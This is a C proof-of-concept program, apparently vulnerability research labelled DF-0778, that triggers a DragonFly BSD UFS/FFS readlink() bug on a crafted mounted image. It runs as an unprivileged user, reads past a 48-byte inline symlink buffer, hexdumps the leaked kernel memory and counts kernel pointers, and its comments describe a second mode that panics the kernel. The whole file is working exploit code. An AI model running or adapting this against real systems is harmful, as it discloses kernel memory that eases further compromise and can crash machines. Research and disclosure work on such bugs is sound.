DF-0778 / trigger_readlink.c
/* * DF-0778 trigger — unprivileged readlink() of a crafted FFS symlink. * * Precondition (root sets up, realistic mount-time threat model): * An admin mounts a crafted UFS/FFS image. The symlink inode inside has * di_blocks == 0 (inline shortlink) and a di_size LARGER than the 48-byte * i_shortlink buffer (di_db). ufs_readlink() truncates the 64-bit di_size * to a signed `int` and passes it straight to uiomove() with no upper * bound, so readlink() copies di_size bytes out of the 48-byte buffer, * leaking whatever kernel memory follows the inode struct (Mode A), or * faults the kernel when the truncated-to-INT_MIN size sign-extends to * ~2^63 as a size_t (Mode B -> panic). * * This program is run AS THE UNPRIVILEGED USER (maxx). It just calls * readlink(2) on the mount-point symlink and hexdumps whatever comes back. */ #include <sys/param.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/test/mylink"; /* * Ask for a large buffer. readlink returns min(bufsiz, isize) bytes. * For Mode A the kernel will happily copy `isize` (e.g. 200) bytes * even though only 48 are the real shortlink -> the rest is leaked * kernel heap. */ char buf[4096]; ssize_t n; memset(buf, 0, sizeof(buf)); errno = 0; n = readlink(path, buf, sizeof(buf) - 1); if (n < 0) { /* Mode B (isize=INT_MIN -> huge size_t) typically panics the * kernel before we even get here; if we DO get an error it * means the kernel survived (e.g. uiomove returned EFAULT). */ fprintf(stderr, "readlink: %s (errno=%d)\n", strerror(errno), errno); return 1; } printf("readlink returned %zd bytes (shortlink buffer is only 48)\n", n); printf("--- hexdump (first 256 bytes) ---\n"); size_t show = (size_t)n < 256 ? (size_t)n : 256; for (size_t i = 0; i < show; i++) { printf("%02x", (unsigned char)buf[i]); if ((i & 15) == 15) printf(" |"); else if ((i & 3) == 3) printf(" "); if ((i & 15) == 15) { printf(" "); for (size_t j = i - 15; j <= i; j++) { unsigned char c = (unsigned char)buf[j]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("|\n"); } } if (show % 16) printf("\n"); /* Count bytes past the 48-byte i_shortlink that look like kernel * pointers (0xffffff80... / 0xfffffe80... KVA on x86_64 DFly). */ int leaked_ptrs = 0; for (size_t i = 48; i + 7 < (size_t)n; i += 8) { unsigned long long v; memcpy(&v, buf + i, 8); if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) leaked_ptrs++; } printf("--- bytes after offset 48 (past i_shortlink): %zd ---\n", n > 48 ? n - 48 : 0); printf("LEAKED_KERNEL_PTRS=%d\n", leaked_ptrs); return 0; } |